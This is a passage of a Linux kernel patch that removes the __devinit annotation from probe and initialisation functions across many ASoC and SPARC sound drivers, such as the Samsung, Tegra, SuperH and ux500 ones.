 }
diff --git a/sound/soc/pxa/pxa2xx-ac97.c b/sound/soc/pxa/pxa2xx-ac97.c
index 19224cb..0a6194d 100644
--- a/sound/soc/pxa/pxa2xx-ac97.c
+++ b/sound/soc/pxa/pxa2xx-ac97.c
@@ -104,7 +104,7 @@ static int pxa2xx_ac97_resume(struct snd_soc_dai *dai)
 #define pxa2xx_ac97_resume	NULL
 #endif
 
-static int __devinit pxa2xx_ac97_probe(struct snd_soc_dai *dai)
+static int pxa2xx_ac97_probe(struct snd_soc_dai *dai)
 {
 	return pxa2xx_ac97_hw_probe(to_platform_device(dai->dev));
 }
@@ -234,7 +234,7 @@ static struct snd_soc_dai_driver pxa_ac97_dai_driver[] = {
 
 EXPORT_SYMBOL_GPL(soc_ac97_ops);
 
-static __devinit int pxa2xx_ac97_dev_probe(struct platform_device *pdev)
+static int pxa2xx_ac97_dev_probe(struct platform_device *pdev)
 {
 	if (pdev->id != -1) {
 		dev_err(&pdev->dev, "PXA2xx has only one AC97 port.\n");
diff --git a/sound/soc/pxa/pxa2xx-pcm.c b/sound/soc/pxa/pxa2xx-pcm.c
index 96cd23d..9d6f78a 100644
--- a/sound/soc/pxa/pxa2xx-pcm.c
+++ b/sound/soc/pxa/pxa2xx-pcm.c
@@ -120,7 +120,7 @@ static struct snd_soc_platform_driver pxa2xx_soc_platform = {
 	.pcm_free	= pxa2xx_pcm_free_dma_buffers,
 };
 
-static int __devinit pxa2xx_soc_platform_probe(struct platform_device *pdev)
+static int pxa2xx_soc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &pxa2xx_soc_platform);
 }
diff --git a/sound/soc/pxa/tosa.c b/sound/soc/pxa/tosa.c
index fca9e41..4f6d8b1 100644
--- a/sound/soc/pxa/tosa.c
+++ b/sound/soc/pxa/tosa.c
@@ -241,7 +241,7 @@ static struct snd_soc_card tosa = {
 	.num_links = ARRAY_SIZE(tosa_dai),
 };
 
-static int __devinit tosa_probe(struct platform_device *pdev)
+static int tosa_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &tosa;
 	int ret;
diff --git a/sound/soc/pxa/ttc-dkb.c b/sound/soc/pxa/ttc-dkb.c
index 0e22e68..490c76c 100644
--- a/sound/soc/pxa/ttc-dkb.c
+++ b/sound/soc/pxa/ttc-dkb.c
@@ -131,7 +131,7 @@ static struct snd_soc_card ttc_dkb_card = {
 	.num_dapm_routes = ARRAY_SIZE(ttc_audio_map),
 };
 
-static int __devinit ttc_dkb_probe(struct platform_device *pdev)
+static int ttc_dkb_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &ttc_dkb_card;
 	int ret;
diff --git a/sound/soc/s6000/s6000-i2s.c b/sound/soc/s6000/s6000-i2s.c
index aa44a4f..79abcd0 100644
--- a/sound/soc/s6000/s6000-i2s.c
+++ b/sound/soc/s6000/s6000-i2s.c
@@ -436,7 +436,7 @@ static struct snd_soc_dai_driver s6000_i2s_dai = {
 	.ops = &s6000_i2s_dai_ops,
 };
 
-static int __devinit s6000_i2s_probe(struct platform_device *pdev)
+static int s6000_i2s_probe(struct platform_device *pdev)
 {
 	struct s6000_i2s_dev *dev;
 	struct resource *scbmem, *sifmem, *region, *dma1, *dma2;
diff --git a/sound/soc/s6000/s6000-pcm.c b/sound/soc/s6000/s6000-pcm.c
index af245bc..d4672ba 100644
--- a/sound/soc/s6000/s6000-pcm.c
+++ b/sound/soc/s6000/s6000-pcm.c
@@ -500,7 +500,7 @@ static struct snd_soc_platform_driver s6000_soc_platform = {
 	.pcm_free = 	s6000_pcm_free,
 };
 
-static int __devinit s6000_soc_platform_probe(struct platform_device *pdev)
+static int s6000_soc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &s6000_soc_platform);
 }
diff --git a/sound/soc/samsung/ac97.c b/sound/soc/samsung/ac97.c
index a9f9632d..1d097f7 100644
--- a/sound/soc/samsung/ac97.c
+++ b/sound/soc/samsung/ac97.c
@@ -370,7 +370,7 @@ static struct snd_soc_dai_driver s3c_ac97_dai[] = {
 	},
 };
 
-static __devinit int s3c_ac97_probe(struct platform_device *pdev)
+static int s3c_ac97_probe(struct platform_device *pdev)
 {
 	struct resource *mem_res, *dmatx_res, *dmarx_res, *dmamic_res, *irq_res;
 	struct s3c_audio_pdata *ac97_pdata;
diff --git a/sound/soc/samsung/bells.c b/sound/soc/samsung/bells.c
index 0e02d14..f7545ac 100644
--- a/sound/soc/samsung/bells.c
+++ b/sound/soc/samsung/bells.c
@@ -412,7 +412,7 @@ static struct snd_soc_card bells_cards[] = {
 };
 
 
-static __devinit int bells_probe(struct platform_device *pdev)
+static int bells_probe(struct platform_device *pdev)
 {
 	int ret;
 
diff --git a/sound/soc/samsung/dma.c b/sound/soc/samsung/dma.c
index f02896e..3705a8a 100644
--- a/sound/soc/samsung/dma.c
+++ b/sound/soc/samsung/dma.c
@@ -432,7 +432,7 @@ static struct snd_soc_platform_driver samsung_asoc_platform = {
 	.pcm_free	= dma_free_dma_buffers,
 };
 
-static int __devinit samsung_asoc_platform_probe(struct platform_device *pdev)
+static int samsung_asoc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &samsung_asoc_platform);
 }
diff --git a/sound/soc/samsung/i2s.c b/sound/soc/samsung/i2s.c
index ec4567b..6a60e71 100644
--- a/sound/soc/samsung/i2s.c
+++ b/sound/soc/samsung/i2s.c
@@ -950,8 +950,7 @@ static const struct snd_soc_dai_ops samsung_i2s_dai_ops = {
 					SNDRV_PCM_FMTBIT_S16_LE | \
 					SNDRV_PCM_FMTBIT_S24_LE)
 
-static __devinit
-struct i2s_dai *i2s_alloc_dai(struct platform_device *pdev, bool sec)
+static struct i2s_dai *i2s_alloc_dai(struct platform_device *pdev, bool sec)
 {
 	struct i2s_dai *i2s;
 
@@ -992,7 +991,7 @@ struct i2s_dai *i2s_alloc_dai(struct platform_device *pdev, bool sec)
 	return i2s;
 }
 
-static __devinit int samsung_i2s_probe(struct platform_device *pdev)
+static int samsung_i2s_probe(struct platform_device *pdev)
 {
 	u32 dma_pl_chan, dma_cp_chan, dma_pl_sec_chan;
 	struct i2s_dai *pri_dai, *sec_dai = NULL;
diff --git a/sound/soc/samsung/idma.c b/sound/soc/samsung/idma.c
index 9db1a5d..136285b 100644
--- a/sound/soc/samsung/idma.c
+++ b/sound/soc/samsung/idma.c
@@ -416,7 +416,7 @@ static struct snd_soc_platform_driver asoc_idma_platform = {
 	.pcm_free = idma_free,
 };
 
-static int __devinit asoc_idma_platform_probe(struct platform_device *pdev)
+static int asoc_idma_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &asoc_idma_platform);
 }
diff --git a/sound/soc/samsung/littlemill.c b/sound/soc/samsung/littlemill.c
index c84e1ac..0d06249 100644
--- a/sound/soc/samsung/littlemill.c
+++ b/sound/soc/samsung/littlemill.c
@@ -297,7 +297,7 @@ static struct snd_soc_card littlemill = {
 	.late_probe = littlemill_late_probe,
 };
 
-static __devinit int littlemill_probe(struct platform_device *pdev)
+static int littlemill_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &littlemill;
 	int ret;
diff --git a/sound/soc/samsung/lowland.c b/sound/soc/samsung/lowland.c
index 782ee23..e4f08fc 100644
--- a/sound/soc/samsung/lowland.c
+++ b/sound/soc/samsung/lowland.c
@@ -180,7 +180,7 @@ static struct snd_soc_card lowland = {
 	.num_dapm_routes = ARRAY_SIZE(audio_paths),
 };
 
-static __devinit int lowland_probe(struct platform_device *pdev)
+static int lowland_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &lowland;
 	int ret;
diff --git a/sound/soc/samsung/pcm.c b/sound/soc/samsung/pcm.c
index 918f943..3708658 100644
--- a/sound/soc/samsung/pcm.c
+++ b/sound/soc/samsung/pcm.c
@@ -490,7 +490,7 @@ static struct snd_soc_dai_driver s3c_pcm_dai[] = {
 	},
 };
 
-static __devinit int s3c_pcm_dev_probe(struct platform_device *pdev)
+static int s3c_pcm_dev_probe(struct platform_device *pdev)
 {
 	struct s3c_pcm_info *pcm;
 	struct resource *mem_res, *dmatx_res, *dmarx_res;
diff --git a/sound/soc/samsung/s3c2412-i2s.c b/sound/soc/samsung/s3c2412-i2s.c
index 83fd46a..e2db71e 100644
--- a/sound/soc/samsung/s3c2412-i2s.c
+++ b/sound/soc/samsung/s3c2412-i2s.c
@@ -160,7 +160,7 @@ static struct snd_soc_dai_driver s3c2412_i2s_dai = {
 	.ops = &s3c2412_i2s_dai_ops,
 };
 
-static __devinit int s3c2412_iis_dev_probe(struct platform_device *pdev)
+static int s3c2412_iis_dev_probe(struct platform_device *pdev)
 {
 	return s3c_i2sv2_register_dai(&pdev->dev, -1, &s3c2412_i2s_dai);
 }
diff --git a/sound/soc/samsung/s3c24xx-i2s.c b/sound/soc/samsung/s3c24xx-i2s.c
index 347676f..05491d9 100644
--- a/sound/soc/samsung/s3c24xx-i2s.c
+++ b/sound/soc/samsung/s3c24xx-i2s.c
@@ -465,7 +465,7 @@ static struct snd_soc_dai_driver s3c24xx_i2s_dai = {
 	.ops = &s3c24xx_i2s_dai_ops,
 };
 
-static __devinit int s3c24xx_iis_dev_probe(struct platform_device *pdev)
+static int s3c24xx_iis_dev_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_dai(&pdev->dev, &s3c24xx_i2s_dai);
 }
diff --git a/sound/soc/samsung/s3c24xx_simtec.c b/sound/soc/samsung/s3c24xx_simtec.c
index 335a7d8..98b7c98 100644
--- a/sound/soc/samsung/s3c24xx_simtec.c
+++ b/sound/soc/samsung/s3c24xx_simtec.c
@@ -313,7 +313,7 @@ const struct dev_pm_ops simtec_audio_pmops = {
 EXPORT_SYMBOL_GPL(simtec_audio_pmops);
 #endif
 
-int __devinit simtec_audio_core_probe(struct platform_device *pdev,
+int simtec_audio_core_probe(struct platform_device *pdev,
 				      struct snd_soc_card *card)
 {
 	struct platform_device *snd_dev;
diff --git a/sound/soc/samsung/s3c24xx_simtec_hermes.c b/sound/soc/samsung/s3c24xx_simtec_hermes.c
index df40b8a..80617c3 100644
--- a/sound/soc/samsung/s3c24xx_simtec_hermes.c
+++ b/sound/soc/samsung/s3c24xx_simtec_hermes.c
@@ -99,7 +99,7 @@ static struct snd_soc_card snd_soc_machine_simtec_aic33 = {
 	.num_dapm_routes = ARRAY_SIZE(base_map),
 };
 
-static int __devinit simtec_audio_hermes_probe(struct platform_device *pd)
+static int simtec_audio_hermes_probe(struct platform_device *pd)
 {
 	dev_info(&pd->dev, "probing....\n");
 	return simtec_audio_core_probe(pd, &snd_soc_machine_simtec_aic33);
diff --git a/sound/soc/samsung/s3c24xx_simtec_tlv320aic23.c b/sound/soc/samsung/s3c24xx_simtec_tlv320aic23.c
index 2e64534..e359d3d 100644
--- a/sound/soc/samsung/s3c24xx_simtec_tlv320aic23.c
+++ b/sound/soc/samsung/s3c24xx_simtec_tlv320aic23.c
@@ -88,7 +88,7 @@ static struct snd_soc_card snd_soc_machine_simtec_aic23 = {
 	.num_dapm_routes = ARRAY_SIZE(base_map),
 };
 
-static int __devinit simtec_audio_tlv320aic23_probe(struct platform_device *pd)
+static int simtec_audio_tlv320aic23_probe(struct platform_device *pd)
 {
 	return simtec_audio_core_probe(pd, &snd_soc_machine_simtec_aic23);
 }
diff --git a/sound/soc/samsung/smdk_wm8580pcm.c b/sound/soc/samsung/smdk_wm8580pcm.c
index 73bef15..649997e 100644
--- a/sound/soc/samsung/smdk_wm8580pcm.c
+++ b/sound/soc/samsung/smdk_wm8580pcm.c
@@ -153,7 +153,7 @@ static struct snd_soc_card smdk_pcm = {
  * is absent (or not connected), so we connect EXT_VOICE_CLK(OSC4),
  * 2.0484Mhz, directly with MCLK both Codec and SoC.
  */
-static int __devinit snd_smdk_probe(struct platform_device *pdev)
+static int snd_smdk_probe(struct platform_device *pdev)
 {
 	int ret = 0;
 
diff --git a/sound/soc/samsung/smdk_wm8994.c b/sound/soc/samsung/smdk_wm8994.c
index 7707d6e..1a01571 100644
--- a/sound/soc/samsung/smdk_wm8994.c
+++ b/sound/soc/samsung/smdk_wm8994.c
@@ -150,7 +150,7 @@ static struct snd_soc_card smdk = {
 };
 
 
-static int __devinit smdk_audio_probe(struct platform_device *pdev)
+static int smdk_audio_probe(struct platform_device *pdev)
 {
 	int ret;
 	struct snd_soc_card *card = &smdk;
diff --git a/sound/soc/samsung/smdk_wm8994pcm.c b/sound/soc/samsung/smdk_wm8994pcm.c
index 8bec27e..84d8f94 100644
--- a/sound/soc/samsung/smdk_wm8994pcm.c
+++ b/sound/soc/samsung/smdk_wm8994pcm.c
@@ -129,7 +129,7 @@ static struct snd_soc_card smdk_pcm = {
 	.num_links = 1,
 };
 
-static int __devinit snd_smdk_probe(struct platform_device *pdev)
+static int snd_smdk_probe(struct platform_device *pdev)
 {
 	int ret = 0;
 
diff --git a/sound/soc/samsung/spdif.c b/sound/soc/samsung/spdif.c
index 9275a03..5612ea8 100644
--- a/sound/soc/samsung/spdif.c
+++ b/sound/soc/samsung/spdif.c
@@ -357,7 +357,7 @@ static struct snd_soc_dai_driver samsung_spdif_dai = {
 	.resume = spdif_resume,
 };
 
-static __devinit int spdif_probe(struct platform_device *pdev)
+static int spdif_probe(struct platform_device *pdev)
 {
 	struct s3c_audio_pdata *spdif_pdata;
 	struct resource *mem_res, *dma_res;
diff --git a/sound/soc/samsung/speyside.c b/sound/soc/samsung/speyside.c
index 173f47c..01bad86 100644
--- a/sound/soc/samsung/speyside.c
+++ b/sound/soc/samsung/speyside.c
@@ -320,7 +320,7 @@ static struct snd_soc_card speyside = {
 	.late_probe = speyside_late_probe,
 };
 
-static __devinit int speyside_probe(struct platform_device *pdev)
+static int speyside_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &speyside;
 	int ret;
diff --git a/sound/soc/samsung/tobermory.c b/sound/soc/samsung/tobermory.c
index da7ce64..01d474c 100644
--- a/sound/soc/samsung/tobermory.c
+++ b/sound/soc/samsung/tobermory.c
@@ -214,7 +214,7 @@ static struct snd_soc_card tobermory = {
 	.late_probe = tobermory_late_probe,
 };
 
-static __devinit int tobermory_probe(struct platform_device *pdev)
+static int tobermory_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &tobermory;
 	int ret;
diff --git a/sound/soc/sh/dma-sh7760.c b/sound/soc/sh/dma-sh7760.c
index 7a50c2a..9b06724 100644
--- a/sound/soc/sh/dma-sh7760.c
+++ b/sound/soc/sh/dma-sh7760.c
@@ -348,7 +348,7 @@ static struct snd_soc_platform sh7760_soc_platform = {
 	.pcm_free	= camelot_pcm_free,
 };
 
-static int __devinit sh7760_soc_platform_probe(struct platform_device *pdev)
+static int sh7760_soc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &sh7760_soc_platform);
 }
diff --git a/sound/soc/sh/hac.c b/sound/soc/sh/hac.c
index dd00356..2efdd48 100644
--- a/sound/soc/sh/hac.c
+++ b/sound/soc/sh/hac.c
@@ -310,7 +310,7 @@ static struct snd_soc_dai_driver sh4_hac_dai[] = {
 #endif
 };
 
-static int __devinit hac_soc_platform_probe(struct platform_device *pdev)
+static int hac_soc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_dais(&pdev->dev, sh4_hac_dai,
 			ARRAY_SIZE(sh4_hac_dai));
diff --git a/sound/soc/sh/siu_dai.c b/sound/soc/sh/siu_dai.c
index 7b1bc77..694cb96 100644
--- a/sound/soc/sh/siu_dai.c
+++ b/sound/soc/sh/siu_dai.c
@@ -726,7 +726,7 @@ static struct snd_soc_dai_driver siu_i2s_dai = {
 	.ops = &siu_dai_ops,
 };
 
-static int __devinit siu_probe(struct platform_device *pdev)
+static int siu_probe(struct platform_device *pdev)
 {
 	const struct firmware *fw_entry;
 	struct resource *res, *region;
diff --git a/sound/soc/sh/ssi.c b/sound/soc/sh/ssi.c
index 768de1c..1b26656 100644
--- a/sound/soc/sh/ssi.c
+++ b/sound/soc/sh/ssi.c
@@ -379,7 +379,7 @@ static struct snd_soc_dai_driver sh4_ssi_dai[] = {
 #endif
 };
 
-static int __devinit sh4_soc_dai_probe(struct platform_device *pdev)
+static int sh4_soc_dai_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_dais(&pdev->dev, sh4_ssi_dai,
 			ARRAY_SIZE(sh4_ssi_dai));
diff --git a/sound/soc/soc-utils.c b/sound/soc/soc-utils.c
index d9a3ac9..813689d 100644
--- a/sound/soc/soc-utils.c
+++ b/sound/soc/soc-utils.c
@@ -94,7 +94,7 @@ static struct snd_soc_dai_driver dummy_dai = {
 	.name = "snd-soc-dummy-dai",
 };
 
-static __devinit int snd_soc_dummy_probe(struct platform_device *pdev)
+static int snd_soc_dummy_probe(struct platform_device *pdev)
 {
 	int ret;
 
diff --git a/sound/soc/spear/spear_pcm.c b/sound/soc/spear/spear_pcm.c
index 9f8f5cd..29c23d3 100644
--- a/sound/soc/spear/spear_pcm.c
+++ b/sound/soc/spear/spear_pcm.c
@@ -184,7 +184,7 @@ struct snd_soc_platform_driver spear_soc_platform = {
 	.pcm_free	=	spear_pcm_free,
 };
 
-static int __devinit spear_soc_platform_probe(struct platform_device *pdev)
+static int spear_soc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &spear_soc_platform);
 }
diff --git a/sound/soc/tegra/tegra20_das.c b/sound/soc/tegra/tegra20_das.c
index 45c67e0..b0c29eb 100644
--- a/sound/soc/tegra/tegra20_das.c
+++ b/sound/soc/tegra/tegra20_das.c
@@ -131,7 +131,7 @@ static const struct regmap_config tegra20_das_regmap_config = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static int __devinit tegra20_das_probe(struct platform_device *pdev)
+static int tegra20_das_probe(struct platform_device *pdev)
 {
 	struct resource *res, *region;
 	void __iomem *regs;
diff --git a/sound/soc/tegra/tegra20_i2s.c b/sound/soc/tegra/tegra20_i2s.c
index 1892a0c..256607f 100644
--- a/sound/soc/tegra/tegra20_i2s.c
+++ b/sound/soc/tegra/tegra20_i2s.c
@@ -331,7 +331,7 @@ static const struct regmap_config tegra20_i2s_regmap_config = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static __devinit int tegra20_i2s_platform_probe(struct platform_device *pdev)
+static int tegra20_i2s_platform_probe(struct platform_device *pdev)
 {
 	struct tegra20_i2s *i2s;
 	struct resource *mem, *memregion, *dmareq;
diff --git a/sound/soc/tegra/tegra20_spdif.c b/sound/soc/tegra/tegra20_spdif.c
index ee04bae..8df9ab0 100644
--- a/sound/soc/tegra/tegra20_spdif.c
+++ b/sound/soc/tegra/tegra20_spdif.c
@@ -257,7 +257,7 @@ static const struct regmap_config tegra20_spdif_regmap_config = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static __devinit int tegra20_spdif_platform_probe(struct platform_device *pdev)
+static int tegra20_spdif_platform_probe(struct platform_device *pdev)
 {
 	struct tegra20_spdif *spdif;
 	struct resource *mem, *memregion, *dmareq;
diff --git a/sound/soc/tegra/tegra30_ahub.c b/sound/soc/tegra/tegra30_ahub.c
index b167b1f..ed812d2 100644
--- a/sound/soc/tegra/tegra30_ahub.c
+++ b/sound/soc/tegra/tegra30_ahub.c
@@ -433,7 +433,7 @@ static const struct regmap_config tegra30_ahub_ahub_regmap_config = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static int __devinit tegra30_ahub_probe(struct platform_device *pdev)
+static int tegra30_ahub_probe(struct platform_device *pdev)
 {
 	struct clk *clk;
 	int i;
diff --git a/sound/soc/tegra/tegra30_i2s.c b/sound/soc/tegra/tegra30_i2s.c
index eb28f27..af2c187 100644
--- a/sound/soc/tegra/tegra30_i2s.c
+++ b/sound/soc/tegra/tegra30_i2s.c
@@ -391,7 +391,7 @@ static const struct regmap_config tegra30_i2s_regmap_config = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static __devinit int tegra30_i2s_platform_probe(struct platform_device *pdev)
+static int tegra30_i2s_platform_probe(struct platform_device *pdev)
 {
 	struct tegra30_i2s *i2s;
 	u32 cif_ids[2];
diff --git a/sound/soc/tegra/tegra_alc5632.c b/sound/soc/tegra/tegra_alc5632.c
index 2ccffdb..bf40691 100644
--- a/sound/soc/tegra/tegra_alc5632.c
+++ b/sound/soc/tegra/tegra_alc5632.c
@@ -150,7 +150,7 @@ static struct snd_soc_card snd_soc_tegra_alc5632 = {
 	.fully_routed = true,
 };
 
-static __devinit int tegra_alc5632_probe(struct platform_device *pdev)
+static int tegra_alc5632_probe(struct platform_device *pdev)
 {
 	struct device_node *np = pdev->dev.of_node;
 	struct snd_soc_card *card = &snd_soc_tegra_alc5632;
diff --git a/sound/soc/tegra/tegra_pcm.c b/sound/soc/tegra/tegra_pcm.c
index e187339..4061984 100644
--- a/sound/soc/tegra/tegra_pcm.c
+++ b/sound/soc/tegra/tegra_pcm.c
@@ -253,7 +253,7 @@ static struct snd_soc_platform_driver tegra_pcm_platform = {
 	.pcm_free	= tegra_pcm_free,
 };
 
-int __devinit tegra_pcm_platform_register(struct device *dev)
+int tegra_pcm_platform_register(struct device *dev)
 {
 	return snd_soc_register_platform(dev, &tegra_pcm_platform);
 }
diff --git a/sound/soc/tegra/tegra_wm8753.c b/sound/soc/tegra/tegra_wm8753.c
index 7512884..f5ea8a9 100644
--- a/sound/soc/tegra/tegra_wm8753.c
+++ b/sound/soc/tegra/tegra_wm8753.c
@@ -122,7 +122,7 @@ static struct snd_soc_card snd_soc_tegra_wm8753 = {
 	.fully_routed = true,
 };
 
-static __devinit int tegra_wm8753_driver_probe(struct platform_device *pdev)
+static int tegra_wm8753_driver_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &snd_soc_tegra_wm8753;
 	struct tegra_wm8753 *machine;
diff --git a/sound/soc/tegra/tegra_wm8903.c b/sound/soc/tegra/tegra_wm8903.c
index a583a6b..fa838d3 100644
--- a/sound/soc/tegra/tegra_wm8903.c
+++ b/sound/soc/tegra/tegra_wm8903.c
@@ -252,7 +252,7 @@ static struct snd_soc_card snd_soc_tegra_wm8903 = {
 	.fully_routed = true,
 };
 
-static __devinit int tegra_wm8903_driver_probe(struct platform_device *pdev)
+static int tegra_wm8903_driver_probe(struct platform_device *pdev)
 {
 	struct device_node *np = pdev->dev.of_node;
 	struct snd_soc_card *card = &snd_soc_tegra_wm8903;
diff --git a/sound/soc/tegra/trimslice.c b/sound/soc/tegra/trimslice.c
index 8173551..5f98970 100644
--- a/sound/soc/tegra/trimslice.c
+++ b/sound/soc/tegra/trimslice.c
@@ -120,7 +120,7 @@ static struct snd_soc_card snd_soc_trimslice = {
 	.fully_routed = true,
 };
 
-static __devinit int tegra_snd_trimslice_probe(struct platform_device *pdev)
+static int tegra_snd_trimslice_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &snd_soc_trimslice;
 	struct tegra_trimslice *trimslice;
diff --git a/sound/soc/txx9/txx9aclc-ac97.c b/sound/soc/txx9/txx9aclc-ac97.c
index e3dd45e..4855398 100644
--- a/sound/soc/txx9/txx9aclc-ac97.c
+++ b/sound/soc/txx9/txx9aclc-ac97.c
@@ -170,7 +170,7 @@ static struct snd_soc_dai_driver txx9aclc_ac97_dai = {
 	},
 };
 
-static int __devinit txx9aclc_ac97_dev_probe(struct platform_device *pdev)
+static int txx9aclc_ac97_dev_probe(struct platform_device *pdev)
 {
 	struct txx9aclc_plat_drvdata *drvdata;
 	struct resource *r;
diff --git a/sound/soc/txx9/txx9aclc.c b/sound/soc/txx9/txx9aclc.c
index 856a2cf..bdb8165 100644
--- a/sound/soc/txx9/txx9aclc.c
+++ b/sound/soc/txx9/txx9aclc.c
@@ -417,7 +417,7 @@ static struct snd_soc_platform_driver txx9aclc_soc_platform = {
 	.pcm_free	= txx9aclc_pcm_free_dma_buffers,
 };
 
-static int __devinit txx9aclc_soc_platform_probe(struct platform_device *pdev)
+static int txx9aclc_soc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &txx9aclc_soc_platform);
 }
diff --git a/sound/soc/ux500/mop500.c b/sound/soc/ux500/mop500.c
index c964d60..c04c927 100644
--- a/sound/soc/ux500/mop500.c
+++ b/sound/soc/ux500/mop500.c
@@ -71,7 +71,7 @@ static void mop500_of_node_put(void)
 	}
 }
 
-static int __devinit mop500_of_probe(struct platform_device *pdev,
+static int mop500_of_probe(struct platform_device *pdev,
 				struct device_node *np)
 {
 	struct device_node *codec_np, *msp_np[2];
@@ -99,7 +99,7 @@ static int __devinit mop500_of_probe(struct platform_device *pdev,
 	return 0;
 }
 
-static int __devinit mop500_probe(struct platform_device *pdev)
+static int mop500_probe(struct platform_device *pdev)
 {
 	struct device_node *np = pdev->dev.of_node;
 	int ret;
diff --git a/sound/soc/ux500/ux500_msp_dai.c b/sound/soc/ux500/ux500_msp_dai.c
index 74bb3c0..5e9fc81 100644
--- a/sound/soc/ux500/ux500_msp_dai.c
+++ b/sound/soc/ux500/ux500_msp_dai.c
@@ -767,7 +767,7 @@ static struct snd_soc_dai_driver ux500_msp_dai_drv[UX500_NBR_OF_DAI] = {
 	},
 };
 
-static int __devinit ux500_msp_drv_probe(struct platform_device *pdev)
+static int ux500_msp_drv_probe(struct platform_device *pdev)
 {
 	struct ux500_msp_i2s_drvdata *drvdata;
 	int ret = 0;
diff --git a/sound/soc/ux500/ux500_pcm.c b/sound/soc/ux500/ux500_pcm.c
index b703532..9703b2d 100644
--- a/sound/soc/ux500/ux500_pcm.c
+++ b/sound/soc/ux500/ux500_pcm.c
@@ -296,7 +296,7 @@ static int __devexit ux500_pcm_drv_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devinit ux500_pcm_drv_remove(struct platform_device *pdev)
+static int ux500_pcm_drv_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 
diff --git a/sound/sparc/amd7930.c b/sound/sparc/amd7930.c
index 5701787..5809a94 100644
--- a/sound/sparc/amd7930.c
+++ b/sound/sparc/amd7930.c
@@ -755,7 +755,7 @@ static struct snd_pcm_ops snd_amd7930_capture_ops = {
 	.pointer	=	snd_amd7930_capture_pointer,
 };
 
-static int __devinit snd_amd7930_pcm(struct snd_amd7930 *amd)
+static int snd_amd7930_pcm(struct snd_amd7930 *amd)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -884,7 +884,7 @@ static struct snd_kcontrol_new amd7930_controls[] __devinitdata = {
 	},
 };
 
-static int __devinit snd_amd7930_mixer(struct snd_amd7930 *amd)
+static int snd_amd7930_mixer(struct snd_amd7930 *amd)
 {
 	struct snd_card *card;
 	int idx, err;
@@ -933,7 +933,7 @@ static struct snd_device_ops snd_amd7930_dev_ops = {
 	.dev_free	=	snd_amd7930_dev_free,
 };
 
-static int __devinit snd_amd7930_create(struct snd_card *card,
+static int snd_amd7930_create(struct snd_card *card,
 					struct platform_device *op,
 					int irq, int dev,
 					struct snd_amd7930 **ramd)
@@ -1002,7 +1002,7 @@ static int __devinit snd_amd7930_create(struct snd_card *card,
 	return 0;
 }
 
-static int __devinit amd7930_sbus_probe(struct platform_device *op)
+static int amd7930_sbus_probe(struct platform_device *op)
 {
 	struct resource *rp = &op->resource[0];
 	static int dev_num;
diff --git a/sound/sparc/cs4231.c b/sound/sparc/cs4231.c
index 344eb3f..102ad1e 100644
--- a/sound/sparc/cs4231.c
+++ b/sound/sparc/cs4231.c
@@ -702,7 +702,7 @@ static int snd_cs4231_timer_stop(struct snd_timer *timer)
 	return 0;
 }
 
-static void __devinit snd_cs4231_init(struct snd_cs4231 *chip)
+static void snd_cs4231_init(struct snd_cs4231 *chip)
 {
 	unsigned long flags;
 
@@ -1019,7 +1019,7 @@ static snd_pcm_uframes_t snd_cs4231_capture_pointer(
 	return bytes_to_frames(substream->runtime, ptr);
 }
 
-static int __devinit snd_cs4231_probe(struct snd_cs4231 *chip)
+static int snd_cs4231_probe(struct snd_cs4231 *chip)
 {
 	unsigned long flags;
 	int i;
@@ -1218,7 +1218,7 @@ static struct snd_pcm_ops snd_cs4231_capture_ops = {
 	.pointer	=	snd_cs4231_capture_pointer,
 };
 
-static int __devinit snd_cs4231_pcm(struct snd_card *card)
+static int snd_cs4231_pcm(struct snd_card *card)
 {
 	struct snd_cs4231 *chip = card->private_data;
 	struct snd_pcm *pcm;
@@ -1247,7 +1247,7 @@ static int __devinit snd_cs4231_pcm(struct snd_card *card)
 	return 0;
 }
 
-static int __devinit snd_cs4231_timer(struct snd_card *card)
+static int snd_cs4231_timer(struct snd_card *card)
 {
 	struct snd_cs4231 *chip = card->private_data;
 	struct snd_timer *timer;
@@ -1537,7 +1537,7 @@ CS4231_SINGLE("Line Out Switch", 0, CS4231_PIN_CTRL, 6, 1, 1),
 CS4231_SINGLE("Headphone Out Switch", 0, CS4231_PIN_CTRL, 7, 1, 1)
 };
 
-static int __devinit snd_cs4231_mixer(struct snd_card *card)
+static int snd_cs4231_mixer(struct snd_card *card)
 {
 	struct snd_cs4231 *chip = card->private_data;
 	int err, idx;
@@ -1558,7 +1558,7 @@ static int __devinit snd_cs4231_mixer(struct snd_card *card)
 
 static int dev;
 
-static int __devinit cs4231_attach_begin(struct snd_card **rcard)
+static int cs4231_attach_begin(struct snd_card **rcard)
 {
 	struct snd_card *card;
 	struct snd_cs4231 *chip;
@@ -1589,7 +1589,7 @@ static int __devinit cs4231_attach_begin(struct snd_card **rcard)
 	return 0;
 }
 
-static int __devinit cs4231_attach_finish(struct snd_card *card)
+static int cs4231_attach_finish(struct snd_card *card)
 {
 	struct snd_cs4231 *chip = card->private_data;
 	int err;
